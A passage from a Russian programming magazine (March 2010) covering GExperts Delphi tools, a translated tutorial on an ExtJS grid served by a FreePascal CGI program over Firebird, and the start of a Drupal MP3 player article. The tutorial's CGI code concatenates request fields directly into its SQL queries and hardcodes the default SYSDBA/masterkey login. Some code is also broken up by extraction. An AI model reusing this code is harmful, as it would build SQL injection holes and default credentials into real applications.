11. Библиотекарь кода (Code Librarian)

Функция «Библиотекарь кода» предназначена для хранения кусков кода или попросту говоря – сниппетов. Благодаря этой функции ты можешь привести все свои наработки в порядок. Например, у тебя имеется десяток другой функций. Ты их не оформлял в виде модулей, а просто использовал в проекте. Представь, что завтра придется писать новый проект, в котором тоже понадобится использовать эти функции. Как ты поступишь? Как вариант, полезешь в предыдущий прожект и будешь вытаскивать нужный код из него. Вот в таких ситуациях тебе и сможет пригодиться функция Code Librarian. Создавай с ее помощи

54


март 2010

vr-online.ru

категории, а в них создавай «листки» с кодом. Потребовался код? Юзаешь поиск и в один клик мышки вставляешь в свой проект.

12. Корректор кода (Code Proofreader)

Часто ошибаешься во время набора кода? Не беда! К тебе на помощь готов прийти (нет, не Чип и Дейл) мастер по исправлению кода – Code Proofreader. Корректор кода предназначен для автоисправления синтаксических ошибок. Система работает на основе словарей. Тебе требуются заполнить их типичными ошибками и вариантами исправлениями. Активировав функцию автокорректора ты можешь больше не думать, о том, что можешь допустить ошибку (нет, конечно же, совсем забивать на это не нужно) при написании кода. Например, я иногда пишу вместо оператора присвоения (:=) символы ;=. Чтобы избавиться от этой траблы раз и навсегда я вбил (а точнее, эта

55


vr-online.ru

март 2010

комбинация уже была забита) соответствие для замены. После этого, во время совершения ошибки, Code Proofreader автоматически заменяет введенный мной ошибочный текст. Таким же образом ты можешь настроить словарь (изначально он уже заполнен), за словами которого CP будет вести наблюдение. В случае ошибки, он также будет производить исправление. Если ты неправильно что-то настроил и твой код заменяется не так как хотелось бы, у тебя есть возможность откатиться назад. Список всех произведенных замен приведен на закладке Correction History.

13. Таблица компонент (Component Grid)

Component Grid – небольшая тулза, упрощающая редактирование свойств Hint, Tag, HelpContext любых компонент. Все имена компонент перечислены в таблице. Выбираем нужные и редактируем перечисленные свойства.

14. Список процедур (Procedure List)

Ты когда-нибудь мучился при поиске своей процедуры? В больших проектах код разрастается очень быстро и в нем становится тяжело ориентироваться. Особенно если сделать небольшой перерыв в разработке. После таких передышек тяжело вспомнить названия нужных процедур/функций не говоря уже об их местоположении. Для решения подобных проблем, разработчики GExperts предусмотрели замечательную тулзу – Procedure List. Запустив ее, ты увидишь перед собой окно, в котором будут перечислены все процедуры/функции проекта. Чтобы легче добраться в этом списке до нужной процедуры предусмотрен поиск и фильтрация по объекту. Например, если ты точно знаешь, что процедура была описана в объекте TForm, то нет смысла ее искать где-либо еще. Выставляем в

56


vr-online.ru

март 2010

поле Objects запись TForm и приступаем к поиску.

15. Популярные файлы (Favorite Files)

Во время кодинга тебе приходится обращаться к сторонним файлам/программам? Если да, то тебе обязательно придется по душе фишка Favorite Files. Она представляет из себя небольшую программку, позволяющую тебе вести списки наиболее часто используемых файлов/программ. Рассмотрим пример. Тебе требуется выполнять запуск архиватора и загрузку в проект определенного модуля. Чтобы как-то сэкономить время и получить чуточку комфорта заюзаем Favorite Files. Создадим в нем две группы: модули и софт, а в каждой из них сделаем по одному ярлыку. В первой будет ссылка на загрузку модуля (причем он должен открываться прямо в IDE), а во второй директории будет ярлык для запуска архиватора. В следующий раз, когда возникнет потребность загрузки модуля или запуска программы, просто открой FF (не FireFox и кликни по соответствующему ярлыку. Я потратил время и забил в FF все необходимые тулзы и модули. Скажу честно, поначалу запускать все из FF было крайне непривычно. За годы практики руки уже на автомате все делают По-старинке. Но потом, я все, же привык (к хорошему всегда быстро привыкаешь) и теперь уже не хочу возвращаться к старым методам.

16. Зависимости проекта (Project Dependencies) Тулза Project Dependencies не выполняет фантастических операций, а просто строит дерево зависимостей твоего проекта. Под зависимостью я подразумеваю не алкогольную, а список модулей, которые используются в твоем проекте. Мне эту тулзу удобно использовать для не своих исходников. Открываю чужой проект (меня частенько просят посмотреть код и указать на ошибку) и сразу смотрю список модулей, которые необходимы для работы проекта. Если обнаруживаю имена не знакомых мне модулей (и наверняка отсутствующих в моей коллекции), то сразу же бегу в гугл и начинаю их искать.

57


vr-online.ru

Заключение

март 2010

GExperts – очень полезный аддон. Многие его возможности существенно облегчают процесс программирования на Delphi. Я обычно скептически отношусь к подобным вещам, но GExperts произвел на меня действительно положительное впечатление. Настоятельно рекомендую тебе попробовать их в действие!

58


vr-online.ru

март 2010 Антонов Игорь (antonov.igor.khv@gmail.com)

Web 2.0 программирование на Object Pascal. Часть 1 Каждое утро я читаю различные блоги и вот сегодня наткнулся на блог Leonardo (http://leonardorame. blogspot.com/). Я полистал последние топики и увидел, что этот парень пишет в основном про программирование на Delphi. Некоторые посты мне показались очень интересными, поэтому я решил сделать их переводы. Надеюсь, мой труд придется тебе по душе. Свой цикл переводов я хочу начать с заметки: «Web 2.0 programming with Object Pascal (Part 1)». Поехали! Я думаю, что Вы испытываете такое же чувство как и я, когда «web разработчик» смотрит на экран вашего компьютера и говорит: «Вау! Ваша программа написана на Delphi! Я разрабатывал на нем (Delphi), до того как начал создавать web-приложения». Когда я это слышу, мне хочется возразить и объяснить, что возможно обойтись Delphi (Object Pascal) и даже достичь лучших результатов, чем при использовании языков программирования, ориентированных на WEB-разработку. Надеюсь, что данный цикл заметок продемонстрирует возможности Delphi и FreePascal, которые могут быть применены при разработки WEB-приложений. Если вы являетесь PHP-Python-RubyASP (или любой другой язык программирования) программистом, то просто оцените возможности современного объектного паскаля.

Часть 1: CGI + ExtJs

До того как Вы продолжите читать эту заметку крайне желательно почитать теорию о CGI (http:// en.wikipedia.org/wiki/Common_Gateway_Interface) и ознакомиться с библиотекой ExtJs (http://www. extjs.com/). Предположим, что вы уже ознакомились с CGI и ExtJS. Создадим CGI приложение, способное создавать JSON (http://en.wikipedia.org/wiki/JSON) ответы на интерфейс ExtJs. Рассматриваемый мною пример, может быть скомпилирован с помощью FreePascal 2.5.1. В качестве CGI фреймворка я буду использовать fcl-web, но вы можете выбрать, тот, который вам больше всего нравится. Это могут быть как PowTils (http://powtils.googlecode.com/), так ExCGI. Если для разработки примера вы выбираете Delphi, то создавайте CGI приложение с использованием WebBroker. Это великолепный фреймворк для разработки web-приложений. Все рассматриваемые примеры в этой статье работают под Apache 2. Само собой, Вы можете использовать любой другой web-server, поддерживающий CGI (IIS, LightHttpd и др.). Для тестирования своих примеров я использовал Ubuntu 9.10 64bit, FreePascal 2.5.1 и ExtJs 3.1.1. Клиент Стартовой точкой первого примера будет создание простой ExtJs GridPanel в статической html странице. Данные отображаемые в таблицы, будут пока загружены из JSon файла, т.к. отсутствует взаимодействие с нашим CGI-приложением. Теперь создадим простую html страницу, содержащую ExtJs grid, скопируйте и вставьте приведенный ниже код в используемый вами текстовый редактор. Сохраните его в файл под именем grid1.html в директорию /var/www/samples. <html> <head> <meta equiv=”Content-Type” content=”text/html; charset=utf-8”> <title>Grid Example 1</title> <link rel=”stylesheet” type=”text/css” href=”/extjs/resources/css/ext-all.css”> <script type=”text/javascript” src=”/extjs/adapter/ext/ext-base.js”></script> <script type=”text/javascript” src=”/extjs/ext-all.js”></script> </head>

59


vr-online.ru

март 2010

<body> <script type=”text/javascript” src=”grid1.js”></script> <h1>Grid Example 1</h1> <div id=”grid1”></div> </body> </html>

Взгляните на приведенный выше html код. В нем в нескольких местах имеются ссылки на /extjs. Это означает, что я поместил распакованные файлы библиотеки ExtJs в директорию /var/www. Корневой папкой для моего Apache является /var/www, а файлы библиотеки ExtJs располагаются в папке /var/ www/extjs. Помимо ссылок на extjs, в коде имеется ссылка на файл grid1.js, который в моем случае также располагается в той же директории, где и файл grid1.html. Теперь создадим уже упомянутый файл grid1.js. Код этого файла представлен ниже: xt.onReady(function(){ var dataStore = new Ext.data.JsonStore({ url: ‘/samples/customerslist.json’, root: ‘rows’, method: ‘GET’, fields: [ {name: ‘firstname’, type: ‘string’}, {name: ‘lastname’, type: ‘string’}, {name: ‘age’, type: ‘int’}, {name: ‘phone’, type: ‘string’} ] }); var myGrid1 = new Ext.grid.GridPanel({ id: ‘customerslist’, store: dataStore, columns: [ {id: “firstname”, header: “First Name”, width: 100, dataIndex: “firstname”, sortable: true}, {header: “Last Name”, width: 100, dataIndex: “lastname”, sortable: true}, {header: “Age”, width: 100, dataIndex: “age”, sortable: true}, {header: “Phone”, width: 100, dataIndex: “phone”, sortable: true} ], autoLoad: false, stripeRows: true, autoHeight: true, width: 400 }); dataStore.load(); myGrid1.render(‘grid1’); });

Данный файл создает экземпляр объекта Ext.data.JsonStore. Этот объект отвечает за загрузку данных из внешнего источника JSon. В нашем случае это файл «/samples/cusomerlist.json». myGrid1 - это экземпляр объекта Ext.grid.GridPanel, именно в нем будут, содержатся загруженные данные из JsonStore. В последней строке этого файла происходит определение места, где будет располагаться созданная нами таблица. В нашем случае атрибут ID контейнера DIV будет называться «gird1» (смотри grid1.html). Попробуйте проиграться с этим примером, усовершенствуйте его немного. Добавьте больше данных в JSon файл и измените различные свойства таблицы. Как наиграетесь, возвращайтесь к статье.

60


vr-online.ru

март 2010

Динамические JSON данные

Следующим шагом будет создание CGI приложения, которое будет отвечать за получение запросов из JSonStore. Это достаточно простая задача для нашей CGI программы. Необходимо создать строку, содержащую те же данные что и в файле «customerlist.json», а после отправить их клиенту.

Первое FPC CGI приложение: program cgiproject1; {$mode objfpc}{$H+} uses Classes,SysUtils,httpDefs,custcgi; Type TCGIApp = Class(TCustomCGIApplication) Public Procedure HandleRequest(ARequest : Trequest; AResponse : TResponse); override; end; Procedure TCGIApp.HandleRequest(ARequest : Trequest; AResponse : TResponse); begin AResponse.Content := ‘Hello!’; end; begin With TCGIApp.Create(Nil) do try Initialize;

61


vr-online.ru

март 2010

Run; finally Free; end; end.

Сохраните этот код в файл с именем «customerlist.pp», а затем откомпилируйте с помощью команды «fpc customerlist.pp». После выполнения компиляции, поместите результат в папку /var/www/cgi-bin и запустите ваш web-браузер. Как только запустится браузер, попробуйте пройти по адресу «http:// localhost/cgi-bin/customerslist». Если вы не ошиблись при переписывании кода, то вы увидите строку «Hello». Теперь, научим нашу программу отвечать в формате JSon. Замените строку AResponse.Content := 'Hello!'; на приведенный ниже код. AResponse.Content ‘{‘ + ‘ “rows”: [ ‘ + ‘ {“firstname”: ‘ {“firstname”: ‘ {“firstname”: ‘ {“firstname”: ‘ ] ‘ + '}';

:= “Leonardo”, “lastname”: “Rame”, “age”: 35, “phone”: “1234556”}, ‘ + “John”, “lastname”: “Williams”, “age”: 15, “phone”: “435233”}, ‘ + “Cecilia”, “lastname”: “Strada”, “age”: 28, “phone”: “423234”}, ‘ + “Gary”, “lastname”: “Thomson”, “age”: 43, “phone”: “123”} ‘ +

Компилируйте и копируйте в директорию /var/www/cgi-bin и тестируйте. Чтобы вызвать его из JsonStore, вернитесь к файлу grid1.js и измените значение свойства url JsonStore на «/var/www/cgibin/customerslist». Примечание: Если вы работаете под управлением системой Windows, то файл «customerlist» должен быть создан как «customerlist.exe». Поэтому проверьте, чтобы вместо «/var/www/cgi-bin/customerslist» у вас везде был customerlist.exe. Если вам не нравится создавать JSON ответы как простые строки, то вы можете воспользоваться фреймворком fcl-json. С его помощью, вы сможете конструировать JSon запрос, используя объектноориентированный подход. Чтобы приспособить наш пример под использование fcl-json, вы должны подключить к своему проекту модуль fpjson, а затем немного изменить метод HandleRequest объект TCGIApp: procedure TCGIApp.HandleRequest(ARequest : Trequest; AResponse : TResponse); var lPerson1: TJSONObject; lPerson2: TJSONObject; lPerson3: TJSONObject; lPerson4: TJSONObject; lJson: TJSONObject; lJsonArray: TJSONArray; begin lPerson1 := TJSONObject.Create; lPerson2 := TJSONObject.Create; lPerson3 := TJSONObject.Create; lPerson4 := TJSONObject.Create; lJsonArray := TJSONArray.Create; lJson := TJSONObject.Create; try (* populate lPerson1 *) lPerson1.Add(‘firstname’, TJsonString.Create(‘Leonardo’)); lPerson1.Add(‘lastname’, TJsonString.Create(‘Rame’)); lPerson1.Add(‘age’, TJSONIntegerNumber.Create(35)); lPerson1.Add(‘phone’, TJsonString.Create(‘1234567’)); (* populate lPerson2 *) lPerson2.Add(‘firstname’, TJsonString.Create(‘John’));

62


vr-online.ru

март 2010

lPerson2.Add(‘lastname’, TJsonString.Create(‘Williams’)); lPerson2.Add(‘age’, TJSONIntegerNumber.Create(15)); lPerson2.Add(‘phone’, TJsonString.Create(‘14567’)); (* populate lPerson3 *) lPerson3.Add(‘firstname’, TJsonString.Create(‘Cecilia’)); lPerson3.Add(‘lastname’, TJsonString.Create(‘Strada’)); lPerson3.Add(‘age’, TJSONIntegerNumber.Create(29)); lPerson3.Add(‘phone’, TJsonString.Create(‘34567’)); (* populate lPerson4 *) lPerson4.Add(‘firstname’, TJsonString.Create(‘Gary’)); lPerson4.Add(‘lastname’, TJsonString.Create(‘Thomson’)); lPerson4.Add(‘age’, TJSONIntegerNumber.Create(43)); lPerson4.Add(‘phone’, TJsonString.Create(‘344567’)); (* Fill the array *) lJsonArray.Add(lPerson1); lJsonArray.Add(lPerson2); lJsonArray.Add(lPerson3); lJsonArray.Add(lPerson4); (* Add the array to rows property *) lJson.Add(‘rows’, lJsonArray);

AResponse.Content := lJson.AsJSON; finally lJson.Free; end; end;

Используя фреймворк fcl-json разработчику приходится писать больше кода, но зато, код становится более читабельным и простым. Какой способ применять - решать вам.

Отображение данных из базы данных

Теперь я заменю статические JSon данные, на динамические, получаемые в результате выборки данных из базы данных. В приведенном мной примере, я устанавливаю соединение с СУБД FireBird. У меня он запущен на локалхосте. Для установки соединения с FireBird я применяю фреймворк fcl-db и класс TIBConnection. Ниже представлен код финальной части проекта, рассматриваемого в этой части заметки. В нем реализовано соединение с БД и показ страницы. На странице располагается таблица, с данными, полученными из базы данных. program cgiproject1; {$mode objfpc}{$H+} uses Classes,SysUtils, httpDefs,custcgi, // needed for creating CGI applications fpjson, // needed for dealing with JSon data Db, SqlDb, ibconnection; // needed for connecting to Firebird/Interbase; Type TCGIApp = Class(TCustomCGIApplication) Private FConn: TSqlConnection; FQuery: TSqlQuery; FTransaction: TSqlTransaction; procedure ConnectToDataBase; Public Procedure HandleRequest(ARequest : Trequest; AResponse : TResponse); override; end; procedure TCGIApp.ConnectToDataBase; begin FConn := TIBConnection.Create(nil); FQuery := TSqlQuery.Create(nil); FTransaction := TSqlTransaction.Create(nil);

63


vr-online.ru

март 2010

with FConn do begin DatabaseName := ‘TEST-DATABASE’; UserName := ‘SYSDBA’; Password := ‘masterkey’; HostName := ‘localhost’; Connected := True; Transaction := FTransaction; FQuery.Database := FConn; end; end; Procedure TCGIApp.HandleRequest(ARequest : Trequest; AResponse : TResponse); var lPerson: TJSONObject; lJson: TJSONObject; lJsonArray: TJSONArray; begin (* Query the database *) FQuery.Sql.Text := ‘select * from people’; FQuery.Open; FQuery.First; lJsonArray := TJSONArray.Create; lJson := TJSONObject.Create; try while not FQuery.Eof do begin lPerson := TJSONObject.Create; lPerson.Add(‘firstname’, TJsonString.Create(FQuery.FieldByName(‘FirstName’). AsString)); lPerson.Add(‘lastname’, TJsonString.Create(FQuery.FieldByName(‘LastName’). AsString)); lPerson.Add(‘age’, TJSONIntegerNumber.Create(FQuery.FieldByName(‘Age’). AsInteger)); lPerson.Add(‘phone’, TJsonString.Create(FQuery.FieldByName(‘Phone’).AsString)); FQuery.Next; (* Fill the array *) lJsonArray.Add(lPerson); end; (* Add the array to rows property *) lJson.Add(‘rows’, lJsonArray); AResponse.Content := lJson.AsJSON; finally lJson.Free; end; end; begin With TCGIApp.Create(Nil) do try Initialize; ConnectToDatabase; Run; finally Free; end; end.

Заключение

В следующей части заметки, мы расширим функционал нашего приложения и снабдим его такими полезными функциями как: добавление, обновление и удаление данных. Автор: Leonardo WWW: http://leonardorame.blogspot.com Оригинальная статья: http://leonardorame.blogspot.com/2010/02/web-20-programming-withobject-...

64


март 2010

vr-online.ru

Антонов Игорь (antonov.igor.khv@gmail.com)

Web 2.0 программирование на Object Pascal. Часть 2 Как я и обещал в прошлой первой части своей заметки, мы продолжим улучшать созданный нами пример. Сегодня мы добавим в наше приложение возможность создания, удаления, чтения и обновления информации. Первым делом создадим панель инструментов и расположим на ней три кнопки: btnAdd, btnEdit и btnDelete. По их нажатию мы будем добавлять, редактировать и удалять данные. Кроме панели инструментов, нам также потребуется создать новое окно (popup window). В нем мы и будем управлять данными (добавлять/редактировать).

Новая таблица (grid)

Вместо того, чтобы перезаписывать файлы, используемые в прошлом проекте, я рекомендую Вам создать новую директорию с именем samples2. В эту директорию Вы будете сохранять все рассмотренные примеры кода. Обратите внимание: файл grid2.html содержит те же самые данные, что и файл grid1.html. Поэтому не парьтесь, а просто скопируйте этот файл в директорию sample2. Только не забудьте после копирования изменить имя с grid1.html на grid2.html. Проделав это не хитрое действие, измените также id контейнера с grid1 на grid2. Содержимое файла grid2.js:

Ext.onReady(function(){ var dataStore = new Ext.data.JsonStore({ //url: ‘/samples/customerslist.json’, url: ‘/cgi-bin/customerslist’, root: ‘rows’, method: ‘GET’, fields: [ {name: ‘id’, type: ‘int’}, {name: ‘firstname’, type: ‘string’}, {name: ‘lastname’, type: ‘string’}, {name: ‘age’, type: ‘int’}, {name: ‘phone’, type: ‘string’} ] }); var btnAdd = new Ext.Toolbar.Button({ text: ‘Add’, handler: function(){ var win = new MyPeopleWindow(); // to refresh the grid after Insert win.afterPost = function(){ dataStore.load(); }; win.show(); } }); var btnEdit = new Ext.Toolbar.Button({ text: ‘Edit’, handler: function(){

65


vr-online.ru

} });

март 2010

var win = new MyPeopleWindow(selRecordStore.id); // to refresh the grid after Update win.afterPost = function(){ dataStore.load(); }; win.show();

var btnDelete = new Ext.Toolbar.Button({ text: ‘Delete’, handler: function(){ Ext.Msg.confirm( ‘Delete customer?’, ‘Are you sure to delete this customer?’, function(btn){ if(btn == ‘yes’){ var conn = new Ext.data.Connection(); conn.request({ url: ‘/cgi-bin/customerslist’, method: ‘POST’, params: {“delete_person”: selRecordStore.id}, success: function(response, options) { // refresh the grid after Delete JSonData = Ext.util.JSON.decode(response.responseText); if(JSonData.success) dataStore.load(); else Ext.Msg.alert(‘Status’, JSonData.failure); }, failure: function(response, options) { Ext.Msg.alert(‘Status’, ‘An error ocurred while trying to delete this customer.’); } }); } } ); } }); var myGrid1 = new Ext.grid.GridPanel({ id: ‘customerslist’, store: dataStore, columns: [ {header: “First Name”, width: 100, dataIndex: “firstname”, sortable: true}, {header: “Last Name”, width: 100, dataIndex: “lastname”, sortable: true}, {header: “Age”, width: 100, dataIndex: “age”, sortable: true}, {header: “Phone”, width: 100, dataIndex: “phone”, sortable: true} ], sm: new Ext.grid.RowSelectionModel({ singleSelect: true, listeners: { rowselect: function(smObj, rowIndex, record){ selRecordStore = record; } } }), tbar: [

66


vr-online.ru

март 2010

btnAdd, btnEdit, btnDelete

], autoLoad: false, stripeRows: true, height: 200, width: 500 }); dataStore.load();

myGrid1.render(‘grid2’); });

Так, теперь отредактируем форму: MyPeopleForm = Ext.extend(Ext.FormPanel, { initComponent: function(){ Ext.apply(this, { border:false, labelWidth: 80, defaults: { xtype:’textfield’, width: 150 }, items:[ {xtype:’numberfield’,fieldLabel:’Id’,name:’id’}, {fieldLabel:’First Name’,name:’firstname’}, {fieldLabel:’Last Name’,name:’lastname’}, {xtype:’numberfield’,fieldLabel:’Age’,name:’age’}, {fieldLabel:’Phone’,name:’phone’} ] }); MyPeopleForm.superclass.initComponent.call(this, arguments); }, setId: function(idPerson) { this.load( { method: ‘POST’, url: ‘/cgi-bin/customerslist’, params: {‘idperson’: idPerson} } ); } }); MyPeopleWindow = Ext.extend(Ext.Window, { constructor: function(idPerson){ MyPeopleWindow.superclass.constructor.call(this, this.config); // if idPerson is not null, then edit record // otherwise it’s a new record if(idPerson != null) this.form.setId(idPerson); }, afterPost: function(){ this.fireEvent(‘afterPost’, this); }, initComponent: function(){ Ext.apply(this, {

67


vr-online.ru

март 2010

title: ‘Loading data into a form’, bodyStyle: ‘padding:10px;background-color:#fff;’, width:300, height:270, closeAction: ‘close’, items: [ this.form = new MyPeopleForm() ], buttons: [ { text:’Save’, scope: this, handler: function(){ this.form.getForm().submit({ scope: this, url: ‘/cgi-bin/customerslist’, method: ‘POST’, // here I add the param save_person // to let the cgi program decide // a course of action (save person data in this case). params: {‘save_person’:’true’}, success: function(form, action){ // on success I just close the form this.afterPost(); this.close(); }, failure: function(form, action){ Ext.Msg.alert(“Error”,”There was an error processing your request\n” + action.result.message); } }); } }, { text:’Cancel’, handler: function(){this.close();}, // important!, without “scope: this” // calling this.close() will try to close the Button!, // and we need to close the Window, NOT the button. scope: this } ] }); MyPeopleWindow.superclass.initComponent.call(this, arguments); } });

Все, интерфейс готов. Перейдем к следующему шагу и создадим новый файл customerslist.pp, содержащий код CGI приложения: program cgiproject1; {$mode objfpc}{$H+} uses Classes,SysUtils, httpDefs,custcgi, // needed for creating CGI applications fpjson, // needed for dealing with JSon data Db, SqlDb, ibconnection; // needed for connecting to Firebird/Interbase;

68


vr-online.ru

март 2010

Type TCGIApp = Class(TCustomCGIApplication) Private FConn: TSqlConnection; FQuery: TSqlQuery; FTransaction: TSqlTransaction; procedure ConnectToDataBase; function GetCustomersList: string; function GetCustomer(AIdPerson: string): string; procedure FillJSONObject(AJson: TJsonObject); function SavePerson(ARequest: TRequest): string; function DeletePerson(ARequest: TRequest): string; Public Procedure HandleRequest(ARequest : Trequest; AResponse : TResponse); override; end; procedure TCGIApp.ConnectToDataBase; begin FConn := TIBConnection.Create(nil); FQuery := TSqlQuery.Create(nil); FTransaction := TSqlTransaction.Create(nil); with FConn do begin DatabaseName := ‘TARJETA’; UserName := ‘SYSDBA’; Password := ‘masterkey’; HostName := ‘192.168.1.254’; Connected := True; Transaction := FTransaction; FQuery.Database := FConn; end; end; procedure TCGIApp.FillJSONObject(AJson: TJsonObject); begin AJson.Add(‘id’, TJsonIntegerNumber.Create(FQuery.FieldByName(‘IdCliente’). AsInteger)); AJson.Add(‘firstname’, TJsonString.Create(FQuery.FieldByName(‘Apellido’).AsString)); AJson.Add(‘lastname’, TJsonString.Create(FQuery.FieldByName(‘Nombres’).AsString)); AJson.Add(‘age’, TJSONIntegerNumber.Create(FQuery.FieldByName(‘IdCliente’). AsInteger)); AJson.Add(‘phone’, TJsonString.Create(FQuery.FieldByName(‘TelFijo’).AsString)); end; function TCGIApp.GetCustomersList: string; var lPerson: TJSONObject; lJson: TJSONObject; lJsonArray: TJSONArray; begin (* Query the database *) FQuery.Close; FQuery.Sql.Text := ‘select * from clientes’; FQuery.Open; FQuery.First; lJsonArray := TJSONArray.Create; lJson := TJSONObject.Create;

69


vr-online.ru try while not FQuery.Eof do begin lPerson := TJSONObject.Create; fillJsonObject(lPerson); FQuery.Next; (* Fill the array *) lJsonArray.Add(lPerson); end; (* Add the array to rows property *) lJson.Add(‘rows’, lJsonArray); Result := lJson.AsJSON; finally lJson.Free; end; end; function TCGIApp.GetCustomer(AIdPerson: string): string; var lPerson: TJSONObject; lJson: TJSONObject; begin (* Query the database *) FQuery.Close; FQuery.Sql.Text := ‘select * from clientes where IdCliente=’ + AIdPerson; FQuery.Open; FQuery.First; lJson := TJSONObject.Create; try lPerson := TJSONObject.Create; fillJsonObject(lPerson); (* Add the array to rows property *) lJson.Add(‘success’, ‘true’); lJson.Add(‘data’, lPerson); Result := lJson.AsJSON; finally lJson.Free; end; end; function TCGIApp.SavePerson(ARequest: TRequest): string; var lId: string; lFirstName: string; lLastName: string; lPhone: string; lSql: string; begin lId := ARequest.ContentFields.Values[‘id’]; lFirstName := ARequest.ContentFields.Values[‘firstname’]; lLastName := ARequest.ContentFields.Values[‘lastname’]; lPhone := ARequest.ContentFields.Values[‘phone’]; if lId <> ‘’ then lSql := ‘update clientes set ‘ + ‘nombres = ‘’’ + lLastName + ‘’’, ‘ + ‘apellido = ‘’’ + lFirstName + ‘’’, ‘ + ‘telfijo = ‘’’ + lPhone + ‘’’ where idcliente=’ + lId

70

март 2010


vr-online.ru

март 2010

else begin

lSql := ‘insert into clientes(IdCliente, Nombres, Apellido, TelFijo) ‘ + ‘values(Gen_Id(SeqClientes, 1),’’’ + lFirstName + ‘’’, ‘’’ + lLastName + ‘’’, ‘’’ + lPhone + ‘’’)’; end; try FQuery.Sql.Text := lSql; FConn.Transaction.StartTransaction; FQuery.ExecSql; FConn.Transaction.Commit; Result := ‘{‘’success’’: ‘’true’’}’; except on E: Exception do Result := ‘{‘’message’’: “’ + E.message + ‘”}’; end; end; function TCGIApp.DeletePerson(ARequest: TRequest): string; var lId: string; begin lId := ARequest.ContentFields.Values[‘delete_person’]; try FQuery.Sql.Text := ‘delete from clientes where idcliente=’ + lId; FConn.Transaction.StartTransaction; FQuery.ExecSql; FConn.Transaction.Commit; Result := ‘{‘’success’’: ‘’true’’}’; except on E: Exception do Result := ‘{‘’failure’’: ‘’Error deleting person.’’}’; end; end; Procedure TCGIApp.HandleRequest(ARequest : TRequest; AResponse : TResponse); var lIdPerson: string; begin if ARequest.ContentFields.Values[‘delete_person’] <> ‘’ then begin AResponse.Content := DeletePerson(ARequest); end else if ARequest.ContentFields.Values[‘save_person’] <> ‘’ then begin AResponse.Content := SavePerson(ARequest); end else begin lIdPerson := ARequest.ContentFields.Values[‘idperson’]; if lIdPerson <> ‘’ then AResponse.Content := GetCustomer(lIdPerson) else AResponse.Content := GetCustomersList; end; end;

71


vr-online.ru

март 2010

begin With TCGIApp.Create(Nil) do try Initialize; ConnectToDatabase; Run; finally Free; end; end.

Скомпилируйте этот файл. Для удобства компиляции, я использую простой bash скрипт. Он выполняет компилирование, а затем копирует результат в директорию /var/www/cgi-bin. Мой Apache 2 сконфигурирован именно на эту директорию. Именно в ней хранятся все мои CGI приложения. На всякий случай привожу код своего скрипта: #!/bin/bash fpc -XX -Xs -b -v ./customerslist.pp cp ./customerslist /var/www/cgi-bin

На этом на сегодня все. В этой части заметки я показал Вам, как создать HTML страницу содержащую таблицу, а также панель инструментов с кнопками для управления данными. После публикации первой части заметки многие сказали мне, что для создания простой webстранице приходится проделывать слишком много действий (применяя ObjectPascal). Я согласен с этим замечанием, но хочу заметить, что я не рассматривал использование каких-либо средств упрощающих разработку. Например, вместо того, чтобы создавать код ExtJs в обычном текстовом редакторе как я (хотя, VIM это не совсем обычный текстовый редактор), вы можете воспользоваться визуальным редактором ExtJS Designer (http://www.extjs.com/products/designer/?ref=family). Код на Object Pascal также можно упростить. Для этого просто необходимо воспользоваться фреймворками WebBroker или DataSnap. Еще одним интересным вопросом от читателей был: «А почему в своем примере я не использовал ExtPascal (http://code.google.com/p/extpascal/)»? Дело в том, что, я не стал применять ExtPascal по причине моего желания продемонстрировать Вам все шаги создания web-приложения, используя лишь ExtJS (html, JS, CGI). Да, применение ExtPascal слишком упрощает разработку, т.к. весь JavaScript код создается автоматически. Но я также считаю, что программисту не помешает знать как работать с чистым ExtJS. Вот именно поэтому я и не ориентировался на применение ExtPascal. Не стоит огорчаться, теперь, когда вы имеете представление о применении ExtJS, вы сможете без труда воспользоваться ExtPascal. В очередной части заметки я обязательно покажу пример работы с ExtPascal.

А что будет дальше?

Перед тем как рассказать о ExtPascal, я покажу Вам, как заменить CGI часть нашего примера на DataSnap Server Applicaion. Увидимся! Автор: Leonardo M. Ramé WWW: http://leonardorame.blogspot.com/

72


vr-online.ru

март 2010 Антонов Игорь (antonov.igor.khv@gmail.com)

Drupal. Слушаем подкасты на сайте Drupal – очень мощный и гибкий фреймворк для построения WEB-сайтов любой сложности. Drupal является не совсем типичным web-конструктором. Психологически неподготовленный новичок может сразу испугаться и не решиться на дальнейшее изучения этого чудесного продукта. Drupal – очень гибкое и универсальное решение. Универсальность и расширяемость наносят удар по простате использования. Но не стоит переживать, Drupal страшен лишь в начале. Чем больше с ним работаешь и разбираешься, тем сильнее он начинает нравиться.

Mp3 + Drupal

Весь функционал в Drupal в большинстве случае реализуется посредством дополнительных модулей. Ты можешь начать самостоятельно разрабатывать свои неповторимые модули, а можешь накачать кучу готовых. Все модули для Drupal доступны на официальном сайте – http://drupal.org. Когда мы перевели наш проект на Drupal, то перед нами встала задача организовать прослушивание подкастов прямо со страницы. Такая возможность очень удобна для посетителей. Им не нужно ждать пока полностью загрузиться 30 метровый mp3 файл (именно столько весит один выпуск нашего подкаста). Достаточно лишь зайти на страницу с подкастом и нажать кнопку Play, после чего сразу же начнется воспроизведение.

Окончательно решив, что такая фича нам жизненно необходима, я полез серфить инет на предмет готовых решений. Звучит не по-гиковски? Само собой, я мог потратить время и написать весь необходимый функционал самостоятельно, но, к сожалению, лишнего времени у меня нет, да и не вижу смысла его тратить на то, что уже создали до тебя (разумеется, если функционал меня устраивает). По традиции, первым делом я сделал поиск по рунету, но, к сожалению, найти ответ на свой вопрос мне не удалось. Точнее говоря, мне попадались решения, но мне они показались неприемлемыми. Шестое чувство ныло и уверяло, что есть способ лучше. И действительно, он есть!

73


vr-online.ru

март 2010

Решил я отправиться в царство Drupal'а – http://drupal.org. Перешел в раздел модулей (http://drupal. org/project/Modules) и в строку Search Modules вбил незамысловатую фразу: mp3 player. Буквально через несколько секунд, друпаловская ищейка выплюнула на меня результат поиска, в котором были модули, так или иначе связанные с фразой «mp3 player». Я потрудился пролистать все варианты, прочитал описания и решил остановиться на модуле с тем же названием, которое я вводил в поисковой строке – MP3 Player (http://drupal.org/project/mp3player).

По функциональным возможностям и симпотичности, модуль mp3player меня полностью удовлетворял. Именно такой плеер используется для прослушивания подкастов на сайтах вроде radio-t.com. Кстати, забегая, вперед скажу, что модуль mp3 player это, грубо говоря, порт WordPress Audio Player в мир Drupal. Немудрено, что этот плеер так распространен.

Устанавливаем модуль

